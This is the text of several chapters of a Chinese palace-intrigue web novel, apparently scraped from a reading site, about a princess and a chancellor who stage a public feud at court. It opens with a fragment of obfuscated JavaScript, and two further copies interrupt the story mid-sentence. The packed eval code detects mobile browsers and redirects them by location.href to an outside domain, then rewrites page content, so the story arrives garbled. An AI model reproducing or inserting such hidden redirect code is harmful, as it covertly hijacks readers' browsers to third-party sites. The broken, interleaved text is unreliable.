p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这无异于把江令薇蓄谋勾引的罪名坐死,还要格外侮辱她不自重,像卖身的青楼男女一样,有辱皇家公主身份。 把皇子比作青楼之人,这是天大的屈辱,没人能受得了被这么说。 群臣看着江令薇瞬间睁得斗大的双眼,感叹之余,对两人私下里有来往的怀疑也散了大半。 这哪是暗中有交情的样子,有仇还差不多。 江令薇双眸猩红,眼泪似雨,不停滚落。五皇子看了一出好戏,此时担忧地看着她,“十妹妹你……” 江令薇充耳不闻,她其实不生气。在她看来,对无关痛痒的言语生气一点都不值当,不会造成真实的伤害。 但该表现出来的愤恨还是不能少的,否则就白费功夫了。 她对上裴渡舟冷淡的眸子,声音甚至都开始颤抖,“你!未免……欺人太甚!你是位高权重,但不代表所有人都想跟你攀关系!我撞到你,我说了,并非有意,你想让我如何偿还都可以,但你不能这么羞辱人!” 不少末流官员都觉得她说的不无道理,好歹是公主,裴丞相也太不讲情面了。 “微臣也说过,公主这话自己信吗?”裴渡舟擒着一抹不算温和的笑意,他松开她下巴,再度嫌恶地搓了搓指尖,“公主与其把主意打在我身上,不如还是多学些女则女训,将来不至于惹夫家嫌弃。” 萧朝不止有规训女人的帛书,也有规训男人的男则男训。 虽然有这东西存在,但无人会拿到明面上说,因为这就是讥讽别人只能一辈子靠男人或是女人生活,自身是个什么都做不成的废物。 即使萧朝这样的人不在少数,但一旦明说,没人会不翻脸。便是身家性命被人家攥在手里,也受不了这样的欺辱! 群臣面面相觑,对裴渡舟骂人的功夫是佩服的心服口服,一日比一日厉害,一出口就是奔着把人逼成死敌的程度去的。 太子环手幸灾乐祸地看戏,虽然很意外裴渡舟竟真的毫不留情面,但心底还是留有一丝怀疑,就那么讨厌江令薇,明明没见过几面,事出反常必有鬼,还要再看看。 与太子有相同想法的大臣不在少数。 江令薇面对这种话,心中也依旧淡定,眼角余光捕捉到周围人或同情或看好戏的神情,她知道大部分人都看进这场成仇的戏码了。 心思百转间,她让泪水流得更多,“你!你……” 可能气得话都不会说了,一个“你”字说了半天也没有下文,犹如被掐住了咽喉。 裴渡舟居高临下地俯视着她,目光在她颤抖的脸颊上停顿了几息的功夫,指尖上仿佛还留有刚才的触感,细腻光滑。 江令薇敏锐察觉到他那道隐约要吃人的眼神,知晓今晚应该不能睡个好觉了。不过,她也并不抗拒,昨晚是真累了。 但今天不同,一来身体不疲累,二来是随军出征三月,她也觉得自己有很大概率得封郡王。 在今日之前,她对郡王之位还是持顺其自然,有也好,没有也罢的态度,所以也未曾问过裴渡舟。 但在见过那样的光景后,她的态度变了,变得渴望了。 当渴望被满足,人就会开心,她开心,自然也会想着让他开心。 “公主把舌头捋直了再说话吧。”慢条斯理地讽刺完,裴渡舟收回暗芒浮动的目光,大步走到金銮殿前,等候皇帝传召上朝。 见人走了,太子最后看了眼红着双眸流泪的江令薇,内心冷笑,遇事只会哭,裴渡舟那厮说得也没错,是该好好读读女则女训了。 还有他这个五弟,不知道在装什么,做出一副就他兄友弟恭,爱护姊妹的死样子!太子从鼻子呼出口气,满脸不屑。 一直战战兢兢的四皇子见到当前的发展,有些傻眼。裴渡舟走了,所以他并不是想帮自己说话,而是被他那个十妹撞倒,心里烦所以要骂一下人才作罢吗? 四皇子看了眼一直在哭的江令薇,又移向旁边的五皇子,谁知,突然被他瞪了眼。 到底是亲自推了江令薇,四皇子也不敢再说什么引起朝臣注意,老老实实地站到一边。 主要的人都走了,江令薇也累了,主要是一直哭,还要做戏说话,消耗的精力很多。 她揉了揉通红的眼睛,顺势捂住脸长出了口气。这时候,五皇子以为她悲愤得崩溃了,心中很满意,面上连忙安慰她。 江令薇呜咽地应了几声,看起来像受足了欺负。 对于或明或暗向她示好的皇子,裴渡舟说过,顺其自然,当一个从未感受过别人半分好的自卑皇女就足矣。 她一直记得这点。 8. 第 8 章 金銮殿门缓缓打开,群臣依着顺序进去。 太子与裴渡舟立于左右方,中间的龙椅挂着一层挡风的帷幔,从微动的影子能看到里面有人躺在那。 殿门紧闭,剧烈的咳嗽声从上方响起,声音听起来像半只脚踏入棺材的将死之人,无力又嘶哑。 太监福来等咳嗽声过去后,拿起准备好的圣旨宣读旨意。 这是惯例了,皇帝身体愈来愈差,这一年的朝会,连话都很少说,只安静地听着大臣上奏。 赞同或是反对会让福来表明。 之前有刚加入太子一党的末流官吏不解,大着胆子询问引荐他的官员,太子为何不动些手脚? 官员当即便呵斥他,在其战战兢兢表忠心的时候,才低声警告他,皇宫禁卫无数,除了守护京城治安的金吾卫外,还有御前的千牛卫与驻守城门的监门卫。 金吾卫人数有多少绝大多数官员都知晓,且武功除了领头的大将军还比较看的过眼外,剩下的大多良萎不齐,办事也一般,贯会偷懒耍滑,见风使舵。 本朝皇帝并不看重金吾卫,多事表面功夫。要不是他们之前甚得先帝圣心,皇帝早撤了这队禁军。 而御前的千牛卫则不同,他们很少现于人前,很多官位低一些的人都不知道其存在。 千牛卫只对皇帝本人忠心,武功极为高强,最为神秘,萧朝千年来有许多想要刺杀皇帝却被他们制服的事例,在这种府兵面前对皇帝动手脚,死都不知道怎么死的。 要是没有这些禁军,和病弱将死的皇帝,已经用荣华富贵收买了一些州府六亲不认的将领的太子哪还会等到如今,早就杀进宫里上演一出“父慈子孝”的退位戏码了。 …… 江令薇这次依然是与五皇子等人站在一起,是一个中间位置,视野还行。 福来宣读旨意的语速适中,加上内容也多,一时还没有读到具体的封赏,还处于赞扬将士们勇猛无双的阶段。 江令薇凭着自己娇小的身形,不动声色往中间的位置看去,那里坐着萧朝的主人,她名义上的父亲。 她能看到浅黄的帷幔后有一双手,就着宫人呈来的茶水把一颗漆黑的丹丸吃了下去。 吞咽的时候,手背上的皮都拱了起来,像正在脱皮的大树,干巴巴的树皮耷拉在树身上,要落不落。 树可以脱皮,周而复始。人脱了还能活吗? 江令薇阖下眸子,关于朝堂上的局势裴渡舟和她说过一次,但皇帝的事情却没怎么提及,只说太子是秋后的蚂蚱,蹦哒不了几天。 隐隐的,她觉得皇帝脱了皮也能活,跟自然换皮的大树一样,蜕掉已经被病虫侵害的树皮,重新恢复生长。 毕竟,裴渡舟公然与太子作对已久,他自己又是皇帝信重的臣子,若是皇帝真这么老死了,那他不就完了吗? 世上会有人眼看着自己玩蛋吗? 江令薇觉得永远不会有。 旨意宣读过半,关于大军的封赏一字一句地盘旋在金碧辉煌的金銮殿中。 玄武将军嘉赏最多,但本人已经是武官中最高的职位了,因此多是以金银犒赏。 主要是破例提拔了其侄子景元为千牛卫中郎将,明眼人都看得出来,应是念其年幼,要他多历练,日后有玄武将军在,前途总归不可限量。 毕竟,千牛卫可不是什么人都能进的。 其余将士们也升官的升官,赐金的赐金,总之犒赏都很合理。 到了江令薇,皇帝果然要封她为郡王,封号都拟好了,也赏了个闲职,日后能够出入朝堂参事。 前头的人都已经磕头谢恩了,江令薇正要跪下,一道清冷的嗓音猝然打断了她的动作,“微臣认为十公主的封赏不妥。” 群臣皆惊,但在见到说话的是谁后又不觉奇怪了。 她抬眸,右前方那道身影挺拔如竹,立在那,比世间万千风景还要吸引人,但此刻吸引她的只有他近乎冷厉的话语。 他道:“漠北之战,公主非主功,全靠玄武将军英勇。郡王之位非同小可,据微臣所知,公主除了武艺出众,其余方面并未有任何出彩之处。本朝三位郡王,皆是办了实事,于社稷有功,才能承此位。微臣认为,十公主现在担不起郡王之位,望陛下三思。” 此话一出,群臣哗然。 太子本来准备好阻挠江令薇封郡王的话也胎死腹中,他看不惯她,自然要阻止。就算不成功也没事,给人添堵,让别人的心七上八下的多有意思啊。 但裴渡舟竟然先行出言阻止,太子属实是没想到,难道真的是江令薇得罪死了他,要这样处处作对。 不管如何,太子反正乐得看江令薇被针对,于是也上前道:“儿臣认为丞相所言极是,十妹年幼,若是就这般给了郡王之位,只怕七妹她们难免不服,伤了弟妹间的和气。” 七公主被点名,不论心中如何想,面上都只能认同,“儿臣……十妹年纪尚小,相信也等得起。” 有前头的人打样,很快,反对的声音便如潮水般响起,有昨晚奚落江令薇的兵部尚书李德,也有太子的舅舅周太师。 总之,太子一党的臣子纷纷出言上奏。 这等场面在以往是绝不可能发生的事,因为裴渡舟和太子就不会有意见相合的时候,为了避免被裴渡舟记恨,这些效忠太子的臣子是万万不敢出言的。 已经领旨谢恩的玄武将军等人低眉顺眼地立在朝臣中,心中感慨的同时死死拉住满脸不忿的景元,生怕他跳起来去为江令薇说话。 他们来得有些迟,并未见到江令薇在殿外被为难的那一幕。 就眼下看来,将军认为江令薇得罪了朝中最具权势的两人——太子和裴丞相。日后的日子必定水深火热,好不到哪里去。 不过,也是没办法的事。 人微言轻,就只能任人宰割。 所有人的目光都或多或少地集中在江令薇身上,大多是出于看乐子的心态,欣赏一朝公主的难堪。 江令薇深吸一口气,强忍着满心质问,直直地望向前方的朱紫身影。那些朝臣的贬低之语,在她看来都抵不过他那句“担不起郡王之位”。 是他筹谋一切,将她送去漠北,到头来,一句轻飘飘地担不起,就什么都没了,那她待了三个月有什么作用? 到底是因为什么? 有功为什么不争,有赏为什么不要? 有人替她问出了这个问题,五皇子撩开衣袍,对着皇帝跪了下去,“恳请父皇三思啊!十妹已经成年出宫开府了,众位大人翻来覆去一句年纪尚小,儿臣属实不能认同。 漠北匈奴有名的凶残,听闻十妹在军中还受了伤,若是贪生怕死,只顾着挂个名分去混功劳,根本就不会受伤,裴丞相说的于社稷有功,这难道还没有功劳,要做到何种地步才算有功!” 五皇子的声音铿锵有力,回荡在金銮殿中,反驳了所有朝臣的话,包括太子与裴渡舟。 有理有据,寻不到一丝错处。 太子一党的臣子也不说话了,因为他们确实无话可说。 郡王之位其实只是一个名分,说非同小可完全是在夸大。 而且三位郡王之中的四皇子自己,恐怕都不知道他做了什么实事,所有人都清楚,四皇子是靠着生母的关系,才捞来一个郡王的位置。 封亲王的时候,用这样于社稷无功的理由来阻拦还算能说得过去。 但只是权力很小的郡王,属实没什么反对的理由,所以只能拿年龄说事。 太子悠悠地瞄了眼裴渡舟,想看看他这个率先反驳的人会如何应对。 裴渡舟微侧过身,视线落在跪着的五皇子身上,同时也扫了旁边的江令薇一眼。 两人的目光再一次隔着百位朝臣交汇。 那双狭长的瑞凤眼里不含一丝情感,反而是明晃晃的厌恶。 她立刻意识到他仍是在做戏,为了成为死对头。 可……她不明白。 到手的郡王为什么不要? 做戏不能日后做么? 她攥紧手心,心中的不解与质问未曾遮掩,涌到眼眶里,随着一眨眼的功夫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974404|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆润的杏眸变红了。 他眸子微眯,视线很快就移开,似是多看一眼都令人生厌。 两人的对视被所有人看在眼里。 江令薇缓缓垂下眸子,耷拉着,通红的眼眶含着泪水,在睫毛的翕动下带出了一滴又一滴。 不服,哭泣,又因为事关自己封赏不好出言,面对权势大的人也不敢出言…… 种种情绪,都很到位。 但她自身演戏的功夫并不是多么炉火纯青,所以多数时候只会哭泣。 现在有这样精湛的表现,原因可以说只有一个——她是真的想要郡王之位。 眼角余光里的那道身影依旧挺拔,声音也仍然清冷,“十公主虽已经成年,但微臣认为,她还是担不起郡王的位子,陛下三思。” 这句话对五皇子之前的质问并未回应,只是一句担不起,连找个借口都不愿意,嫌恶的态度十分明显。 仿佛在说:“就是不喜欢你,看不惯你,你又能如何?” 百官看着当下的发展,大多惊得目瞪口呆。 裴丞相这是装都不装了,直直略过五皇子的质问,将担不起三字刻死在十公主身上。 再联想到殿外的那些羞辱之语,当众说她担不起郡王之位,先前又直言要她去学女则女训,这…… 若说先前不少朝臣对两人关系还持有怀疑态度,那么到了现在,全部化为灰烬,烟消云散。 连太子也彻底打消了疑虑,甚至第一次觉得裴渡舟还有些可取之处,至少对江令薇这种装腔作势的货色是看得明白的。 而且,退一万步来说,即使江令薇与裴渡舟是所图甚大,还在演戏。 但是仔细想想,裴渡舟捧一个人,能将无人知晓的她捧去所有人都想争的漠北。 阻碍贬低一个人,也能将所有人都认为郡王之位势在必得的她摔进泥沼里。 这样的手段,没有生死之交的话,谁会放心? 裴渡舟皇城司指挥使出身,武功极好,会与江令薇有生死上的交情吗?完全不可能。 就算有,那也必定是裴渡舟救江令薇。但还是那句话,能救你,自然也能杀你。 所以,即使两人私下里有关系,但长久之下,谁会对一个变脸极快的人放心? 与大权在握的裴渡舟相比,江令薇就是一只可以随手碾死的蚂蚁。蚂蚁自然会害怕,两人关系也会逐渐破裂。 若是暗中没来往,那就更简单了,江令薇怎么可能斗得过裴渡舟。 一个是被他母妃关了十多年的废物公主,一个是二十七岁的丞相,两人差了十岁。差的东西除了年龄多了去了。 江令薇拿什么斗?必然是横死街头的下场,白白帮自己除掉一位皇子,太子简直巴不得,越想越愉悦。 裴渡舟长身玉立,静等着皇帝回复。五皇子也是一样,仍旧跪在那处,将兄妹情深演到了极致。 江令薇耳朵里全是他那句担不起,像魔音般刺耳。 “有理,那就依裴爱卿所言,小十且再历练历练。来人,赐一柄护身的长剑,既然在漠北受了伤,那便赐你此剑,护你身侧,算是父皇的一点心意。” 久未出声的皇帝突然开了口,声音很低,似乎是在压抑着咳嗽。 太子一听这半死不活的声音,心里越发满意,甚至还盼望这个名义上的父亲早点死,给他腾位。一把年纪了,活着有什么意思,不如早点投胎。 “父皇!”五皇子还要再说话。 “小十。”皇帝无视了五皇子,唤了一句江令薇,是提醒也是敲打。 服也好,不服也罢,都要接旨。也必须接旨。 在所有人或同情或幸灾乐祸地注视下,江令薇闭了闭眼。 这是她生平第一次尝到强烈的不甘滋味。 比吃不到肉更加浓烈的情绪。 他,果真是最好的老师,言传身教。 “……儿臣接旨。”江令薇缓缓跪下,地面铺着冰冷的金砖,丝丝凉意如蛇,争先恐后地往她身体里钻。 身冷,心也冷。 9. 第 9 章 朝会没多久就散了,因为皇帝精神不济,中途便从侧殿离开。 很多人都看到一具形如枯槁的身影在福来的搀扶下踉跄地离开。 耳边传来几声不掩饰的低笑,江令薇知道那是太子的得意笑声,大概是在开心皇帝要死了,他很快就能登位。 望着掌心的玄铁长剑,她慢慢擦去眸中泪水,瞄了眼前方那道往侧殿走去的修长身形。 然后,强行按耐下心底的不服与气恼,握紧了长剑,在五皇子的宽慰下,走出金銮殿。 天边蔚蓝,一到十月,京都总是阴雨绵绵,今日是个难得的艳阳天。 “十妹你别太伤心,太子他们向来如此,八成是记恨你去了漠北,他出身尊贵,一向眼高于顶……“五皇子苦笑着,眼里却闪过一抹讥讽,“说来也不怕你笑话,便是我自己,也不知被他们为难了多少次。” “今日多谢五哥为我说话。”江令薇听得出来他对于太子的不忿,但全当听不懂,侧过身认真地给他行了一个平礼。 “兄妹之间,何须这些虚礼。”五皇子当即伸手止住了她的动作,“再说了,五哥今日也没帮到你,想来裴丞相还在为早上那件事耿耿于怀,迁怒于你。”语气里不难听出几分挫败。 “不,要谢的。”江令薇一本正经地摇头,“五哥并不欠我什么,兄弟姊妹之间,也并非就要感情和顺,五哥帮我,我都记得。” 这话是她的真实想法。 虽然知道他不安好心,但该谢的还是要谢。 不过,也仅止于此。 “十妹诚心,五哥也甚是感动。”五皇子心里很满意,知恩图报就好,他就需要这样的人,当危急时刻的替死鬼特别合适。 看着五皇子面上的笑容,直觉告诉她,这人很可能是在想着怎么算计自己。 正准备借口告辞,又见远处出现裴渡舟的身影,看样子,应该是刚从侧殿觐见完皇帝出来。 她不动声色地往周边扫了一圈,没什么臣子,一散朝,便走得飞快。 她放下心来,没有围观的臣子,裴渡舟应该不会过来继续冷语讥讽她。主要是自己现在也没心情配合他做戏。 不过,身旁的五皇子却是眼睛一亮,直接拉着她朝裴渡舟的方向而去,一边走,一边还说:“丞相在那里,他位高权重,我们不能开罪,五哥去替你道歉,待会你应一两声就行了。” 江令薇也不好直接挣脱他,只得随着人走到裴渡舟那边。她知道自己这个五哥想要做什么,无非就是想收买自己的人心。 “裴丞相。”五皇子笑着叫住他。 裴渡舟瞄了眼两人,淡声道:“殿下何事?” “十妹今天无意撞了你,我是她兄长,替她给你赔个不是,她性子单纯,还望丞相不要那么针对她,她已经知道错了。”说着,五皇子扯了扯江令薇的袖子,示意她应一声。 江令薇压抑着烦闷的心情,默不做声,既然要成为死对头,那如何能认错。她沉默地低着头,不时用手擦眼泪。 “知错了?那公主这又是哭给谁看?”裴渡舟视线在她毛绒绒的发丝上定住,压下那抹想要抚摸她脑袋的冲动,将眼睛转向五皇子。 五皇子无声勾唇,算作回应。 渡舟昨晚丑时就派人来信,说当日朝会时,会反驳封赏江令薇的旨意,一来是为了在众人面前避嫌。 二来是为了他能更好收服人心。毕竟,轻易得来的东西,只怕没人会珍惜。当万人奚落时,对一直嘘寒问暖,关怀备至的兄长,自然会生出更多恩情。 五皇子也觉得此举甚好。在上朝前还特意派了几名效忠自己的小官去奉承江令薇,又要他们注意必须让太子看到,到时候,他才有安慰江令薇的机会。 虽然那几个小官必定会被太子迁怒,前程算是废了,不过五皇子并不在意。要不是他,凭那几人的才学哪有官做,戴了几日乌纱帽该感恩戴德了。 “十妹,丞相在跟你说话呢。”五皇子放低声音,把一个为妹妹操碎了心的兄长演绎得活灵活现。 江令薇兀自摇头,就是不肯出声认错,眼泪伴着她摆头的动作,像断了线的珍珠似的洒了下来。 五皇子还想继续说什么,便被裴渡舟蓦然出声打断,嗓音冷凝,“公主既然觉得自己无错,殿下就不要再劝了,假模假样的也没什么意思。” “时辰不早了,微臣还要回府处理公务,先行告退。” “……耽误丞相时间了,但十妹只是一时想不开,丞相千万别放在心上。”五皇子面上讪讪一笑。心里却知道必定是父皇吩咐渡舟该收网了,他有事在身,确实不能再陪自己做戏。 裴渡舟收回落在江令薇身上的目光,大步离开。 听着那道沉稳的脚步声走远,江令薇也想快些离开,只是刚抬起头,五皇子就出声:“十妹妹,你怎么这么倔啊……” 听到这话,江令薇就知道他还想再教育自己,她勉强忍了忍,将声音放缓,“……我知道是我对不住五哥的好意……” “你啊,诶……”五皇子边叹息,边仔细观察着她的表情,他从前没发现,只以为她人乖又直白,现在看来,还要多加一个倔字。 不过,这样挺好。性格倔的人,对帮过自己的恩人,定会十分信任。 …… 忍住心中的烦躁,耐着性子听五皇子说了好些话,江令薇才得以脱身。 宫门口依旧只剩一辆马车,与昨晚有意磨蹭的心思不同,她刚上了车,便嘱咐少隐开快点。 少隐不知江令薇所想,只以为是她饿了。毕竟,早膳还没用。 握住缰绳,少隐驾马往长安街的方向驶去。 偶然瞥到街道边正在争吵的年轻夫妻,少隐忽然记起主子离宫前脸色不怎么好,而殿下刚才的表情……似乎也不太美妙。 想了想,少隐决定替主子说些好话。 过去一年里,两人吵架的时候,主子很多次气得脸色都白了,而殿下却浑然不觉,说的话便是他听着都觉得太过直接了。 最后和好是和好了,但那段时间,府里的气压特别低,连回话都得特别小心翼翼,生怕被迁怒。 少隐试探着开口,“……您不在的这几个月,府中又来了几位厨艺高超的厨子,是主子特意派人去域外安南请来的。 主子虽没明说,只道换换口味,但属下们都知道,是为了殿下您才这么做的。而且还是主子身边的记陆与罗玄亲赴域外,日夜兼程请回来的,定是为了殿下您一回来就能吃上。” 车里没有任何声音传来,少隐踌躇片刻,正欲再说几句,“主子他——” “好吃吗?”声音有些低。 少隐悬着的心稍稍放下,听这话的意思应该是不会吵架了。他恭敬回道:“属下不知。那些人刚来的时候做过一次饭食,主子尝了后将人留了下来,想来应该是不错的。” “知道了。” “主子这三个月里一直很挂心您。”犹豫了一会儿,少隐又补了一句。 主子对殿下一向管教严厉,不留情面,而殿下又情况特殊,可能会钻牛角尖。 过了一会儿。“……是他要你这么说的?” “全是属下自作主张,主子并未下过这样的命令。” 帷幔被风卷起,让少隐压低的声音更为清晰地送进江令薇耳中。 “嗯。”她执起小案上的青瓷茶壶,掀开茶盖,直接大口往嘴里灌。 茶壶外壁一直用棉绸裹着,茶水还是温热的。滚入喉咙,稍稍缓解了她嗓子眼里的干闷。 她盘腿靠在软榻上,摩挲着茶壶外的那层厚棉绸,柔软,温暖…… 域外安南的厨子,她出征前在一本古书上看到过,据说十分擅长烹饪一些野味。她看了后,特别馋,想要派人去请来。 但是她手里没钱,府里管账的吴管事也只听他的吩咐,支支吾吾不肯支钱给她。明明开府之后,宫里赏赐了很多银子下来…… 没有任何办法,她只能跟他说。他当时回答要看自己的表现。 本来以为照她昨晚那样子,那擅长野味的厨子是不要想了。 然而,竟然很早之前就被他请了回来。 江令薇说不清自己是什么心情,只知道满腔不快少了大半。 她也许不应该对他气恼的。 江令薇放下茶壶,掀开车帘让冷风吹进来,无声地长出一口气。 外头掠过的街景里,一家馄饨摊映入她的眼帘。 这家馄饨很好吃,她曾经偶然经过,为了不暴露人前和他的关系,是叫侍从买来在马车上和他一起吃的。 她吃了三碗,侍从也跑了三次,由于一直眼巴巴地瞅着馄饨摊,她也成功记住了做馄饨的摊主——一个容貌倩丽的女子。 此时,馄饨摊前罕见地没有客人,而那位手艺很好的摊主正被一个胖子纠缠。 “光天化日!你要干什么!救命啊!” “呵!喊吧,喊破喉咙都没人会救你!本公子可是周家的人,看上你是你前世修来的福气!” “周家就能不顾王法吗!放开我!!” “知道本朝太子吗?那是我舅爷的侄儿!还敢说王法?哈哈哈,那是用来约束你们这等贱民的!把她给本公子绑起来!” …… 少隐驾车的速度很快,江令薇只看到几个小厮拿着绳子朝摊主扑去,便再看不到了。 若有所思地撂下帘子,她问前头的少隐:“那个胖子你认识吗?” 她大多时候都被他勒令待在府里,因此还是第一次瞧见这种情况。 “是周家旁支的公子。”少隐记性很好,便是只匆匆看了一眼也立刻知晓其身份。 “旁支……”她重复了一遍,再次打开车帘,街道边偶有巡逻的金吾卫,但面色如常。她很肯定,这些禁军看到了馄饨摊上发生的事情,却没有前去阻止。 “这种事情经常发生吗?” “常有。这一年来,当今陛下身体每况愈下,周家那些人一开始还会忌惮主子弹劾,行为不敢太过分。但主子很长一段时间都没有再弹劾谁,那些人自然暴露了本性,欺行霸市,强抢民女民男……什么都做,刚才那位摊主,属下瞧着,可能是家中实在揭不开锅,才冒险出来。 京中其余人顾及太子地位,对这种事全都视而不见,不敢阻挠。虽然以舒祭酒为首的一些朝臣经常会上奏,斥责太子等人,但并没有效果。”少隐回答得很详细。 “哦。”她平静地点点头,本想躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974405|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡一会儿,但不知为何,双手再度撩开了帘子,歪着脑袋往远处瞥了眼,能看到摊主正被人抬上马车。 那双曾经充满着干劲的双眼变得绝望。 她抿了抿唇,想起馄饨的鲜美味道,开口道:“你武功比我高,去救她。手艺那么好,那个胖子不配。” 少隐不知何故犹豫了一会儿。 “很为难吗?”她不解地问道。 “……没有,属下遵命,不过要送您回了府才能去。”少隐回答。 “对了,至于谢礼,你让她给我做三碗馄饨,我想吃。” 少隐自然应下。 “给你。”江令薇从身上掏出一个小小的银稞子,递给少隐。“记得拿了馄饨后,给那个摊主。” 少隐微怔,他知道她身上没什么钱,主子一向不允许任何人给她钱,更别说变卖身上首饰换钱,那是想都不要想,根本不可能做到的事。 所以……这个银稞子,也许是费了很多功夫才能得来的。 费了很大的劲,就这么给了别人…… “殿下……很善良。”少隐敛下眸中波动。 “善良?”江令薇疑惑。她上过战场,杀过人,手上沾了血,跟善良一点都不沾边。 “是。殿下既要救人,那便有恩情在,其实是不必再给钱了。” “这跟善良有什么关系。”江令薇摇头,“揭不开锅,没饭吃,我知道那种不好受的滋味,想给就给了。至于我欠你的钱,嗯……你暂且先等待,等到将来,你要多少,我给多少。” 欠钱,那是在漠北的时候,她因为少隐的救命之恩,想要回报他,问他有什么想要的,他沉默一会儿后说可以用钱报答,她答应了,然后给他写了一张欠条。 主要是她真没钱,只能这么做。找裴渡舟垫付也行不通,记得一年之前,她有一次在他面前提了一句钱,然后就被他瞪了眼,无声地威胁她。 所以,没有办法,只好写欠条。 她总会发达的……吧? 回答少隐的最后一句话有些明显的心虚。她自己也察觉到了,又补充道:“不是在诓骗你,只是我现在没钱,你……这个,你放心,我有好处,我一定不会亏待你的。” “嗯……”少隐握紧缰绳,不知为何声音有些低,像是好不容易从嗓子眼里挤出来的。 握着掌心那枚还带着温度的银稞子,少隐不禁抚了抚,反应过来自己在做什么后,又连忙将银稞子收好,面具下的肌肤红了又白,不知在想什么。 “那你再开快点。”江令薇怕摊主自缢。 “是。” 不多时,马车在公主府停下。 江令薇踏入府门,沉重的大门缓缓关上。 她正准备去正厅寻裴渡舟,这个时辰应该在等她吃饭。罗玄唰得从屋顶黛瓦间跳下来,恭敬行了礼后道:“主子在后花园。” 现下在后花园? 江令薇并不认为他在赏花,在他的丞相府时,他就经常在花园里教她习武。 第一年的时候,习武还算正常,手把手教。第二年,每回都要与她切磋过后再教,结果可想而知,自然打不过他,被压得死死的。 当然,对这种练习方式她并不生气。 只是,刚从宫里言语打压她回来,现在又要迫不及待用身体打压她了吗? 江令薇嘴角抿得很紧,强行按耐下升腾起来的不满,一言不发地往后花园大步走去。 留下原地的罗玄一脸纳闷地挠了挠脑袋,怎么一听到后花园殿下那么大反应? …… 公主府的花园足有半个卧房那么大,是个极大的庭院。穿过一道圆圆的拱门,粉墙两边爬满了粉白的茉莉,一进入其中便闻见浓郁的清香。 园中假山重峦,山石两侧栽种着时兴的花卉,与爬藤的茉莉相映成趣,举目四望,满园花影。 天色不知何时已经暗沉了下来,本该在院里的裴渡舟却不见踪影。 江令薇不客气地拂开拱门边挡住视野的茉莉,沿着鹅卵石铺就的小路箭步往前走。 没走几步,余光捕捉到了一样物什。 西墙边辟出了一汪浅池,池水清澈见底,水面有一座木制秋千的倒影,她皱了皱眉,抬头一看。 一棵枝叶繁茂的梧桐树下,红松制成的秋千上垫着云丝锦衾,足以容纳两个粗膀腰圆的成年人。 这东西她并不陌生,他丞相府的花园里也有这种形状的秋千,与平时玩闹的秋千不同,晃动很小。 用途多了去了。 明明今早她出门时,不经意瞥了这里一眼,那时,还没有这座大秋千。 目不转睛地注视那座秋千,江令薇再也藏不住那股不满的劲头,手心攥得死死的。他不去正厅吃饭,让人引她来这里,还做了这么一个秋千,她如何不明白他想做什么。 但恰是因为明白,才更气恼。 “生气了?”身后突然响起一道清冷的嗓音。 江令薇面无表情地侧过身。 裴渡舟猗在右边的茉莉粉墙下,语调散漫,手中把玩着一枝折来的粉白花骨朵,漫不经心地睨着她。 “是。”她承认。 “那,”他漫步朝她走来,“打一架如何?” 10. 第 10 章 “你习武多年,我只有挨打的份。”江令薇避开裴渡舟直勾勾的视线,兀自握着拳,“今天朝会时,你为什么那么做?” 她问得直白,语气里的埋怨也很明显。 “想知道?切磋过后告诉你。” 低沉的声音近在耳侧,嗓音平和,给人一种万事尽在掌握的安全感。 但在江令薇耳朵里,跟危险的毒蛇吐信没有区别,她全身都起了一层鸡皮疙瘩。 事实也一如她料想,一道蕴含着浑厚气劲的掌风毫无预兆地击来,直冲她脑门。 江令薇侧身闪开,知道现在是不打也不行了。 掌风落了空,层峦的假山霎时迸裂,石块炸开,打落一地花瓣。 她全身毛发直竖,目光在那汪浅池一掠而过,接着飞脚挑起一阵水花,含着内力,圆滚滚的似暗器。 身后挥开水珠的破空声传来的同时,她催动轻功,一个翻身,跳上了那颗比墙头还高的梧桐树。 脚尖踩到顶端细细的枝干上,尚未来得及平衡身体,便见地面凭空刮起一阵剧风,落于石块,水里,墙面的花瓣唰得立起。 数片卷翘的粉白花瓣像嗡嗡直叫的蜂,争先恐后地飞奔过来。 江令薇忙向左避,顺势跃到墙头,在黛瓦上奔走,她速度很快,身形如影。 但身后的花瓣犹如生了灵智,转弯,加速,离她后背只有半尺的距离。 她心中大骇,睁大眼睛想要瞥一眼他在哪里。从花瓣涌来到如今,她就没见到他的身影。 但是花瓣太多了,挡住了视野,纵是她目力极佳,如此危急关头也看不清。 后花园院子很大,她飞速地跳跃在屋瓦间,却连半圈都没绕完,本就没吃饭,体力与内力已经消耗殆尽。 身后的气劲如影随形,她这时已完全顾不得刚才的气恼与不满了,满心都是该怎么甩掉这些花。 余光瞥见另一道拱门外值守的纪陆,她眼睛一亮,叫道:“腰间刀给我!” 院子粉墙很高,记陆先前没注意到屋瓦间奔走的江令薇,此时一听,当即明白主子又与殿下她切磋起来了。 记陆忙解过身侧弯刀,向上抛给焦急的她。 弯刀很重,若是平时,江令薇运用内力,轻松就提起来了。可现在不同,她吃力地握紧刀柄,奋力飞身至一侧的假山上。 随即用尽全身力气,劈开形状奇特的山石。 在石子炸开的一瞬间,刀尖向前横扫,卷起锋利的碎块,与调转方向冲来的花瓣两相碰撞。 唰—— 花瓣被撕成两半,锐利的石块射向墙面,凿出一个个裂缝。 